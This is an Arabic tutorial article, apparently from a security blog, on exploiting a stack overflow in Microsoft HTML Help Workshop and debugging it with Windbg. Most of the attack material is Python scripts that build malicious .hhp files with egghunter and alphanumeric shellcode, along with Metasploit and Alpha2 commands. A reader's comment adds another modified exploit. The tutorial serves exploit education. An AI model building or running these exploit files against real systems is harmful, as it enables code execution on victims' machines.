أدوات وبرامجمواضيع ومقالات

مقال : تحليل واستغلال ثغرات البرامج والتنقيح بأداة Windbg

تم أرشفة هذا المحتوى


مقال يتحدث عن ثغرات البرامج وبصفة خاصة عن ثغرة في أداة Microsoft HTML Help Workshop سنتتبع خطوات استغلالها من خلل برمجي صغير الى استغلال يهدد الأجهزة. الأداة من برمجة Microsoft وهي قوية في تعديل صفحات HTML ولها عدة مزايا أخرى كما أنها تستعمل حاليا في العديد من الجامعات وتستخدم كأداة رسمية.

 

الأدوات:

  • Windbg: أداة قوية جدا وشخصيا افضلها على كافة المنقحات , والغرض منها في هذا المقال هو مدى قوة التنقيح debugging ودقة الحسابات.
  • Metasploit Generator: سيستخدم لتوليد shellcode مناسب للإستغلال.
  • Alpha2.c: لتوليد shellcode بالأرقام والحروف فقط Alphanumirical shellcode.
  • ‏‏‏لغة برمجية: أنا سأستخدم Python وفضلتها على لغة C لسهولة كتابة الكود عن طريقها وسهولة فهمه من طرف المتابعين للموضوع.

هذا الموضوع لا يتكلم عن الإختراق بل يهدف للتعريف بالطريقة التي يتمكن بها الهكر من إستغلال الثغرة وأيجاد حلول مناسبة لها. لن أتحدث عن كيفية تحديد كيمية البيانات التي أحدتث الخلل ولا على كيفية البحث عن العناوين من الذاكرة فهذه أمور قد يتم التطرق لها لاحقاً. وكما قلت سابقا غرضنا هو أن نيّن تفكير الهكر ونضع أنفسنا مكانه حين يحلل البرامج.

 

واجهة البرنامج:

Microsoft HTML Help Workshop Overflow - 1

 

لنر كيف يحدث الخلل:

#!usr/bin/python
# Microsoft html help workshop Buffer  advanced overflow exploitationheader1=(
“x5bx4fx50x54x49x4fx4ex53x5dx0dx0ax43x6fx6dx70x61x74x69x62x69”
“x6cx69x74x79x3dx31x2ex31x20x6fx72x20x6cx61x74x65x72x0dx0ax43”
“x6fx6dx70x69x6cx65x64x20x66x69x6cx65x3dx74x65x73x74x2ex63x68”
“x6dx0dx0ax43x6fx6ex74x65x6ex74x73x20x66x69x6cx65x3dx74x65x73”
“x74x2ex68x68x63x0dx0ax44x65x66x61x75x6cx74x20x74x6fx70x69x63”
“x3d”)

header2=(
“x44x69x73x70x6cx61x79x20x63x6fx6dx70x69x6cx65x20x70x72x6fx67”
“x72x65x73x73x3dx4ex6fx0dx0ax49x6ex64x65x78x20x66x69x6cx65x3d”)

header3= “x4cx61x6ex67x75x61x67x65x3dx30x78x34x30x39x20”

header4=(
“x20x28x55x6ex69x74x65x64x20x53x74x61x74x65x73x29x0dx0ax0dx0a”
“x0dx0ax5bx46x49x4cx45x53x5dx0dx0ax74x65x73x74x2ex68x74x6dx0d”
“x0ax0dx0ax5bx49x4ex46x4fx54x59x50x45x53x5dx0dx0ax0dx0a”)

payload =  header1
payload += “x44″*3000+”x0dx0a”

payload += header2
payload += “A” * 280
payload += “XXXX” # EIP is overwrited by this 4 bytes
payload += “x0dx0a”
payload += header3
payload += “x42″*1100
payload += header4

file = open(“1.hhp”,”w”)
file.write(payload)
file.close()

شغّل الكود السابق بإستخدام مفسّر Python وسيعطيك ملف 1.hhp إفتح الملف عن طريق البرنامج باستعمال windobg ولاحظ التغييرات:

Microsoft HTML Help Workshop Overflow - 2

 

كما لاحظنا حدوث overflow بالذاكرة وتم تغيير مسار عمل البرنامج والمؤشر EIP يدل الى موضع مجهول ‘XXXX’ بالذاكرة.

نستخدم الأمر d esi لرؤية ماذا يخزن هذا المسجل حاليا, وجدنا أنه يحتوي على البيانات التي قمنا بأدخالها والتي أدت لحدوث طفح بالذاكرة أي بمعنى أخر مكان وضع الـ shellcode (الإطار الأحمر)
هده الثغرة تظهر كأنها basic exploitation, يعني ان نقوم بعمل الشلكود في مكان A*280 ونستدعي المسجل esi عن طريق هذه التعليمة call esi or jmp esi ليتم تنفيذ الشيل كود بسرعة لكننا للأسف نجد ان هذه الطريقة لا تناسب والسبب هو أن حجم المساحة غير كافي لوضع shellcode خصوصا إن كان reverse shell or alphanum shellcode. الآن يجب أن نفكر في طريقة تجعله يزيد من مساحة الذاكرة لوضع الـ shellcode أو البحث عن مكان في الذاكرة نضع فيه الشيل كود ونقوم باستدعائه عن طريقة مجموعة من التعليمات.
سأتطرق لطريقتين لاستغلال هذه الثغرة, الأولى سهلة نوعا ما وهي طريقة إستدعاء egghunter أو shellhunter  ليبحث لنا عن مكان الشيل كود.
أما الطريقة الثانية فهي وضع الشيل كود في مكان ما بالذاكرة ثم نقوم باستدعائه وهذه الطريقة يستعملها الخبراء في هذا المجال. وساشرح الإثنتين بالتفصيل.

 

الطريقة الأولى (egghunting):

نبذة صغيرة عن أداة skape egghunt: أداة قام ببرمجتها أحد مطوري مشروع Metasploit يدعى skape حيث جعل مشكلة حجم المساحات أمراً سهل التخطي ذلك لأنه يستخدم بشكل اعتباطي.

C:>egghunt.exe cstyle 0x57303054
// 32 byte egghunt shellcode (egg=0x57303054)
unsigned char egghunt[] = “x66x81xcaxffx0fx42x52x6ax02x58xcdx2ex3cx05x5ax74xexb8x54x30x30x57x8bxfaxafx75xeaxafx75xe7xffxe7”;

هذا الشيل كود الصغير مكوّن من 32 bytes يبحث عن العنوان الذي ادخلناه 0x57303054 داخل الذاكرة وأينما يوجد يتم استدعاء التعليمات التي بعدها. أي من هذا الجانب يمكننا أن نضع الشيل كود وراء هذا العنوان وسينفذ الشيل كود لكن من سلبيات هذه الطريقة أنها تستغرق بضع ثواني وأحيانا بضع دقائق ذلك لانه يبحث عن مكان العنوان المطلوب منه. إذاً لنطبق هذه الخاصية على مثالنا هذا ونرى ماذا سيحدث:

#!/usr/bin/python
# Microsoft html help workshop Buffer  advanced overflow exploitationshellcode = (
“x54x30x30x57x54x30x30x57”
“xebx03x59xebx05xe8xf8xffxffxffx4fx49x49x49x49x49”
“x49x51x5ax56x54x58x36x33x30x56x58x34x41x30x42x36”
“x48x48x30x42x33x30x42x43x56x58x32x42x44x42x48x34”
“x41x32x41x44x30x41x44x54x42x44x51x42x30x41x44x41”
“x56x58x34x5ax38x42x44x4ax4fx4dx4ex4fx4ax4ex46x34”
“x42x50x42x30x42x30x4bx48x45x44x4ex43x4bx38x4ex37”
“x45x30x4ax57x41x50x4fx4ex4bx58x4fx44x4ax41x4bx58”
“x4fx35x42x52x41x50x4bx4ex49x34x4bx48x46x43x4bx38”
“x41x50x50x4ex41x33x42x4cx49x39x4ex4ax46x58x42x4c”
“x46x47x47x30x41x4cx4cx4cx4dx30x41x50x44x4cx4bx4e”
“x46x4fx4bx43x46x35x46x32x46x30x45x47x45x4ex4bx38”
“x4fx45x46x52x41x30x4bx4ex48x56x4bx58x4ex30x4bx34”
“x4bx38x4fx35x4ex31x41x30x4bx4ex4bx48x4ex31x4bx48”
“x41x50x4bx4ex49x38x4ex45x46x32x46x50x43x4cx41x43”
“x42x4cx46x56x4bx58x42x54x42x53x45x38x42x4cx4ax47”
“x4ex50x4bx48x42x54x4ex30x4bx58x42x37x4ex41x4dx4a”
“x4bx58x4ax46x4ax30x4bx4ex49x30x4bx58x42x48x42x4b”
“x42x30x42x30x42x30x4bx38x4ax46x4ex53x4fx35x41x33”
“x48x4fx42x56x48x45x49x38x4ax4fx43x48x42x4cx4bx37”
“x42x45x4ax36x50x47x4ax4dx44x4ex43x37x4ax36x4ax49”
“x50x4fx4cx58x50x30x47x55x4fx4fx47x4ex43x36x41x46”
“x4ex56x43x56x42x30x5a”)

header1=(
“x5bx4fx50x54x49x4fx4ex53x5dx0dx0ax43x6fx6dx70x61x74x69x62x69”
“x6cx69x74x79x3dx31x2ex31x20x6fx72x20x6cx61x74x65x72x0dx0ax43”
“x6fx6dx70x69x6cx65x64x20x66x69x6cx65x3dx74x65x73x74x2ex63x68”
“x6dx0dx0ax43x6fx6ex74x65x6ex74x73x20x66x69x6cx65x3dx74x65x73”
“x74x2ex68x68x63x0dx0ax44x65x66x61x75x6cx74x20x74x6fx70x69x63”
“x3d”)

header2=(
“x44x69x73x70x6cx61x79x20x63x6fx6dx70x69x6cx65x20x70x72x6fx67”
“x72x65x73x73x3dx4ex6fx0dx0ax49x6ex64x65x78x20x66x69x6cx65x3d”)

header3= “x4cx61x6ex67x75x61x67x65x3dx30x78x34x30x39x20”

header4=(
“x20x28x55x6ex69x74x65x64x20x53x74x61x74x65x73x29x0dx0ax0dx0a”
“x0dx0ax5bx46x49x4cx45x53x5dx0dx0ax74x65x73x74x2ex68x74x6dx0d”
“x0ax0dx0ax5bx49x4ex46x4fx54x59x50x45x53x5dx0dx0ax0dx0a”)

# skape egghunter
shellhunt=(
“x66x81xcaxffx0fx42x52x6ax02x58xcdx2ex3cx05x5ax74”
“xefxb8x54x30x30x57x8bxfaxafx75xeaxafx75xe7xffxe7”)

payload =  header1
payload += “x44″*1100+”x0dx0a”
payload += header2
payload+= shellhunt
payload += “A” * (280-len(shellhunt))
payload += “x7Fx13x40x00” #call esi 0040137F universal address
payload += “x0dx0a”
payload += header3
payload += shellcode
payload += “x42″*1100
payload += header4

file = open(“egghunt.hhp”,”w”)
file.write(payload)
file.close()

 

Microsoft HTML Help Workshop Overflow - 3

بعد مدة وجيزة اشتغل shellcode وقد إستخدمنا شيل كود ينفد calc فقط. لو لاحظتم أين وضعنا الشلكود فقد وضعناه في مكان عشوائي ويمككنا وضعه في اي مكان وسيتم استدعائه بعد انتهاء مدة البحث, لاحظ أيضاً إضافة السطر الأول فوق الشيل كود وهو كلمة البحث التي قمنا بها.

 

الطريقة الثانية (jumping to shellcode):

الاستثمار المحترف يتطلب عدة معايير ليكون كذلك ومنها أن يكون الاستثمار Universal يشتغل في أي نظام, أن ينفد أي شيل كود مهما كان حجمه ومهما كانت وضعيته ومهما كان نوع  الـ filters وهذا ما سنحاول القيام به وهو البحث عن مكان نستطيع وضع الشيل كود فيه وتنفيده باستعمال أحدة المسجلات وسنأخد على سبيل المثال المسجل  ESI.

نفتح الملف 1.hhp ونرى التغيرات, كما رأينا سابقاً نقوم بعمل  d esi:

Microsoft HTML Help Workshop Overflow - 4

Microsoft HTML Help Workshop Overflow - 5

جيد جداً الآن, وجدنا مكان مناسب للشيل كود سنرى هل هو كافي أم لا؟

First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=003297f8 ecx=41414141 edx=009515e0 esi=003cb030 edi=003cb03b
eip=58585858 esp=0012ee48 ebp=41414141 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
58585858 ??              ???
0:000> d esi
003cb030  49 6e 64 65 78 20 66 69-6c 65 00 41 41 41 41 41  Index file.AAAAA
003cb040  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
003cb050  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
003cb060  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
003cb070  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
003cb080  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
003cb090  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
003cb0a0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0:000> d
003cb0b0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
003cb0c0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
003cb0d0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
003cb0e0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
003cb0f0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
003cb100  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
003cb110  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
003cb120  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA0:000> d
003cb130  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
003cb140  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
003cb150  41 41 41 58 58 58 58 00-41 42 43 44 45 46 47 48  AAAXXXX.ABCDEFGH
003cb160  49 4a 4b 4c 4d 4e 4f 50-51 52 53 54 55 56 57 58  IJKLMNOPQRSTUVWX
003cb170  59 5a 44 44 44 44 44 44-44 44 44 44 44 44 44 44  YZDDDDDDDDDDDDDD
003cb180  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
003cb190  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
003cb1a0  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD

0:000> d 003cb158
003cb158  41 42 43 44 45 46 47 48-49 4a 4b 4c 4d 4e 4f 50  ABCDEFGHIJKLMNOP
003cb168  51 52 53 54 55 56 57 58-59 5a 44 44 44 44 44 44  QRSTUVWXYZDDDDDD
003cb178  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
003cb188  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
003cb198  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
003cb1a8  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
003cb1b8  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
003cb1c8  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
0:000> d
003cb1d8  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
003cb1e8  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
003cb1f8  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
003cb208  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
003cb218  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
003cb228  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
003cb238  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
003cb248  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD

إذاً حسب ما سبق لدينا ما يلي: المسجل ESI الآن يحمل العنوان 003CB030 ولكن الشيل كود يتواجد في 003CB158. السؤال هو كيف نجعل المسجل ESI يؤشر الى العنوان 003CB158 أي مكان تواجد الشيل كود؟

بكل صراحة من الصعب ايضاح الفكرة ولكنني اقترحت ان تقرأ الكود الموجود في الأسفل وتمعن فيه جيداً وسترى أن هذه الطريقة متقدمة في استغلال الثغرة هي مجرد عمليات حسابية بالـ Hex:

ESI = 003cb030ADD ESI ,55445544 ; this will increase the ESI registre

;result :

ESI =  55810574

;————————-

SUB ESI,5544541C

result :

ESI = 003cb158 ;=====> the place of our shellcode xD

;———————————————–

Push ESI,ret ; push them on the stack and return the value

 

الآن نحتاج فقط الى الـ opcodes:

#0041771F     81EE 1C544455  ADD ESI,55445544
#00417725     81EE 1C544455  SUB ESI,5544541C
#0041772B     56             PUSH ESI
#0041772C     C3             RETN————————————
with python  :

align = “x81xC6x44x55x44x55x81xEEx1Cx54x44x55x56xc3”

أوشكت على الانتهاء, لم يبق إلا توليد shellcode من metasploit  project وتحويله الى alphanum shellcode باستعمال أداة Alpha2 . لتوليد shellcode من مشروع ميتاسبلويت نستعمل الأمر التالي:

root@attacker-labs:/home/simo36# cd /pentest/exploits/framework3
root@attacker-labs:/pentest/exploits/framework3# ./msfpayload windows/exec CMD=calc R > /pentest/exploits/tools/shellcalc.raw
root@attacker-labs:/pentest/exploits/framework3#

الان نحول الـ shellcode الى alphanum بإستعمال الأداة Alpha2. هذه الأداة قام ببرمجتها Skylined أحد أعضاء Google Chrome Security وهو مكتشف تقنية Heap Spray لإستغلال ثغرات المتصفح في أقل من دقيقة وسأتطرّق لاحقا لتفسير دقيق لهذه التقنية إن شاء الله.

هذه الأداة أعتبرها خارقة لأنها حلت العديد من المشاكل فهي تمكن من توليد شيل كود خاص بثغرات الـ unicode يعني هذا ما يدل على قوة هذه الّأداة ,, وقد تم اصدار نسخة Alpha3 لكن لم أجربها حتى الآن.

لتوليد شيل كود alphanum نقوم بكتابة الامر التالي:

root@attacker-labs:/pentest/exploits/framework3# cd /pentest/exploits/tools/
root@attacker-labs:/pentest/exploits/tools# ./alpha2 esi –uppercase < /pentest/exploits/tools/shellcalc.raw
VYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIKLKXK95P5PC0SPK9M5VQ8RSTLKPRVPLK
0RDLLK0RB4LKT27XDOX7PJ7V6QKOP1YPNL7L3QSL5RVL7PO1HO4MUQHGKRL0PR0WLKV2TPLK1RWL5QXPLK1PRXLEO0T
4PJUQXP0PLKQXUHLK0XWP5QN3KSWL1YLK7DLKEQN6VQKOVQO0NLIQHODMEQIW7HKPBUL45SSML87KSM6DRUKRV8LKQH
7TS1N3CVLKTL0KLKV85LUQN3LK5TLK5QN0LIQTWTQ4QKQKU1V91JPQKOKP0XQO0ZLKUBJKLF1M3ZUQLMMUNYEPS0S0V
0CXP1LKBOK7KO8UOKZPOEORQFCXOVLUOMMMKOYEWLEVSL5ZK0KKKP45S5OK77TSRRRORJUPF3KOXUCSSQ2L3S30TJA
root@attacker-labs:/pentest/exploits/tools#

لمشاهدة الإستغلال النهائي: microsoft_html_help_workshop_overflow_exploit.py

 

وأخيرا وليس أخيرا أرفقت لكم فيديو يبيّن الفرق بين الطريقتين وإحكم بنفسك أي الطريقتين أفضل.

{flv}microsoft-html-help-workshop-overflow{/flv}

 

تم الانتهاء من الشرح وهذا ما لدي لحد الآن. أتمنى أن اكون قد وفقت في شرحي وفي حال وجود أي إستفسارات أو أخطاء في الشرح أتمنى تنبيهي له.

عن الكاتب:


محمد غنام, اختصاصي في استثمار ثغرات البرامج, مهتم بتحليل الأنظمة ومتابعة آخر الثغرات, مهتم كذلك ببرمجة أدوات الهاكينغ بلغة السي والبايثون

مقالات ذات صلة

‫12 تعليقات

  1. السلام عليكم ورحمة الله , أشكرك يا أخي على اهتمامك بالموضوع .
    أنا على عكسك لم يشتغل معي دلك الاستغلال أطلاقازفحته عبر المنقح ووجدت ان العنوان الدي وضع للمسجل EDI يؤشر الى مكان يوجد فيه نصف الشلكود حيث مكان رأس الشلكود لم اجده , لدلك اقترح عليك عمل صورة تنقح فيها البرنامج مع اظهار مكان الشلكود, أضافة الى الاستغلالين معا جربتهم في أكثر من جهاز واشتغلوا ,وأستغرب لمادا لم يشتغل معك , وهناك حالة واحدة هو العناوين مختفلة من نظام الى اخر وهدا يحدت ,
    وأما بالنسبة الاستغلال الاول بال egghunt ادا اشتغل معك فالفرضيى صحيحة كما قلت لك , وانصحك أن فهمت الدرس يمكنك ان تستغل الثغرة بنفسك واتبع نفس التعليمات التي وضعتها في الشرح وسترى ان كنت على حق ام لا وسترى الاختلاف الدي سيكون بيني وبينك وبين الاستغلال الاصلي , ولا تكتفي بتجريب الكود وتسال لمادا لم يعمل لاني وضعت كل شئ بدقة شديدة والصور توضح دلك , ان لم يشتغل معك فغير ال align حسب العنوان الدي موجود shellcode وسترى انه سيشتغل .

    أما عن الشلكود بال Alpha2 هو طبعا قرار اختياري من باب شرح الاداة , اضافة الى ان البرنامج المصاب يقوم بعمل filter لبعض الشيفرات يعني تفريبا ينبغي ان يكون شلكود مشفر بنسبة 70% لدلك لا يتطلب الا شلكود من نوع Pexalphanum على اقل تقدير .
    اتمنى ان تجرب الشرح على جهازك وان تبحث عن النتيجة بنفسك .

  2. السلام عليكم

    بامكانك الحصول على هيدر اي extenstion ببساطة عن طريق برنامج Hex Editor مثلا او بامكانك اخذ الهيدر بعمل edit للملف عن طريق notepad++ و تحويل الهيدر الى ال hex ووضعه في الاستغلال ، لكن الافضل استخدام اي برنامج Hex Editing .

  3. مشكور اخوي محمد غنام

    الله يعطيك ألف عافيه

    بس ابي طريقة معرفة header للبرنامج

    مثلا معي برنامج مصاب

    ابي اسوي له header

    تحياتي لك

  4. شكرا على الرد أخي
    بالنسبة للصورة لنجاح الإستغلال الأصلي
    http://img121.imageshack.us/img121/8706/isecur1ty.jpg

    أما بالنسبة للإستغلال الخاص بك لقد عوضت “A”*281 بال nops و إشتغل عادي مع أني لم أفهم السبب؟

    سؤال ثاني بالنسبة لإستغلال egghunt لقد إشتغل معي عادي بعض مرور بعض الوقت
    لكن لاحظت في الإستغلال
    payload = header1
    payload += “x44″*1100+”x0dx0a”
    payload += header2

    ما فائدة “x44″*1100؟

    شكرا

  5. شرح رائع!
    لكن الإستغلال اللي واضعو لم يشتغل معي عكس الإستغلال الأصلي
    http://www.exploit-db.com/exploits/10323/
    هل تقدر تقول لي ما السبب؟

    سؤال آخر لو سمحت
    ما فائدة إستخدام Alpha2 مع أن الإستغلال الأصلي فيه شل كود غير مشفر بAlpha2 و يشتغل عادي؟

  6. hamza_hack_dz : أشكرك جزيل الشكر لاهتمامك بالموضوع
    عبد الصمد : هده الصورة تدل على انك فهمت الموضوع وهدا شئ جيد , أما بالنسبة لل nopds فليس عندي اية فرضية لهدا لاني لم اجرب هدا , أما بخصوص ال egghunt فقط شرحت سابقا أنه يستدعى بعد فترة زمنية , أما بالنسبة للكود فهدا مكان الفائض الدي يمكننا وضع الشلكود فيه ويمكنك تبديله باية قيمة اخرة جرب الامر ورد على , اتمنى اكون وفقت في تفسير المعلومة اي سوال تفضل انا موجود
    ريان السلمي : بارك الله فيك يا أخي

  7. بارك الله فيك على الردود
    أعلم أنني أكثرت عليك الأسئلة فاعذرني

    تقدر توضح لنا ما الفرق بين olly و windbg من حيث الوظيفة لأني لم أستخدم windbg

  8. في اداة تجي مع الميتا سبوليت اسمها
    pattern_create.rb 5000
    راح تنشى كود حجمة 5000 واكتبه في الملف المراد اختبارة ثم بعدها
    انسخ الي يطلع لك في eip

    واكتبة في اداه اخرى راح تحسب الحجم بهذي الطريقة

    pattern_offset.rb 0xFFFFFF 5000
    0xFFFFFF العنوان الموجود في ال eip
    الحجم الي انشأته بالداية
    وراح يطلعلك حجم البفر

    انا عندي مشكلة في كتابة الشل كود كيف اعرف bad char
    لي يومين ابحث فيها راح اجرب الalpha3
    واشوف

    يعطيك العافية على المقالة

  9. قمت بالتعديل على الاستغلال ,, ولقد تم تنفذ الشل كود بسرعه

    #!/usr/bin/python

    shellcode = (
    “x51x30x30x57x51x30x30x57”
    ” xdaxc0xd9x74x24xf4xbbxe6x9axc9x6dx5ax33xc
    9xb1″
    ” x33x31x5ax18x83xeaxfcx03x5axf2x78x3cx91x1
    2xf5″
    ” xbfx6axe2x66x49x8fxd3xb4x2dxdbx41x09x25x8
    9×69″
    ” xe2x6bx3axfax86xa3x4dx4bx2cx92x60x4cx80x1
    ax2e”
    ” x8ex82xe6x2dxc2x64xd6xfdx17x64x1fxe3xd7x3
    4xc8″
    ” x6fx45xa9x7dx2dx55xc8x51x39xe5xb2xd4xfex9
    1×08″
    ” xd6x2ex09x06x90xd6x22x40x01xe6xe7x92x7dxa
    1x8c”
    ” x61xf5x30x44xb8xf6x02xa8x17xc9xaax25x69x0
    dx0c”
    ” xd5x1cx65x6ex68x27xbex0cxb6xa2x23xb6x3dx1
    4×80″
    ” x46x92xc3x43x44x5fx87x0cx49x5ex44x27x75xe
    bx6b”
    ” xe8xffxafx4fx2cx5bx74xf1x75x01xdbx0ex65xe
    dx84″
    ” xaaxedx1cxd1xcdxafx4ax24x5fxcax32x26x5fxd
    5×14″
    ” x4ex6ex5exfbx09x6fxb5xbfxe5x25x94x96x6dxe
    0x4c”
    ” xabxf0x13xbbxe8x0cx90x4ex91xebx88x3ax94xb
    0x0e”
    ” xd6xe4xa9xfaxd8x5bxcax2exbbx3ax58xb2x12xd
    8xd8″
    “x51x6bx28”)

    header1=(
    ” x5bx4fx50x54x49x4fx4ex53x5dx0dx0ax43x6fx6
    dx70x61x74x69x62x69″
    ” x6cx69x74x79x3dx31x2ex31x20x6fx72x20x6cx6
    1x74x65x72x0dx0ax43″
    ” x6fx6dx70x69x6cx65x64x20x66x69x6cx65x3dx7
    4x65x73x74x2ex63x68″
    ” x6dx0dx0ax43x6fx6ex74x65x6ex74x73x20x66x6
    9x6cx65x3dx74x65x73″
    ” x74x2ex68x68x63x0dx0ax44x65x66x61x75x6cx7
    4x20x74x6fx70x69x63″
    “x3d”)

    header2=(
    ” x44x69x73x70x6cx61x79x20x63x6fx6dx70x69x6
    cx65x20x70x72x6fx67″
    ” x72x65x73x73x3dx4ex6fx0dx0ax49x6ex64x65x7
    8x20x66x69x6cx65x3d”)

    header3= ” x4cx61x6ex67x75x61x67x65x3dx30x78x34x30x3
    9×20″

    header4=(
    ” x20x28x55x6ex69x74x65x64x20x53x74x61x74x6
    5x73x29x0dx0ax0dx0a”
    ” x0dx0ax5bx46x49x4cx45x53x5dx0dx0ax74x65x7
    3x74x2ex68x74x6dx0d”
    ” x0ax0dx0ax5bx49x4ex46x4fx54x59x50x45x53x5
    dx0dx0ax0dx0a”)

    sniper = (
    ” xebx21x59xb8x51x30x30x57x51x6axffx33xdbx6
    4x89x23x6ax02″
    ” x59x8bxfbxf3xafx75x07xffxe7x66x81xcbxffx0
    fx43xebxedxe8″
    “xdaxffxffxffx6ax0c”
    ” x59x8bx04x0cxb1xb8x83x04x08x06x58x83xc4x1
    0x50x33xc0xc3″)

    payload = header1
    payload += “x44″*1100+”x0dx0a”
    payload += header2
    payload+= sniper
    payload += “A” * (280-len(sniper))
    payload += “xA1x2Bx9Cx62”
    payload += “x0dx0a”
    payload += header3
    payload += shellcode
    payload += “x42″*1100
    payload += header4

    file = open(“egghunt.hhp”,”w”)
    file.write(payload)
    file.close()

اترك تعليقاً

لن يتم نشر عنوان بريدك الإلكتروني. الحقول الإلزامية مشار إليها بـ *

زر الذهاب إلى الأعلى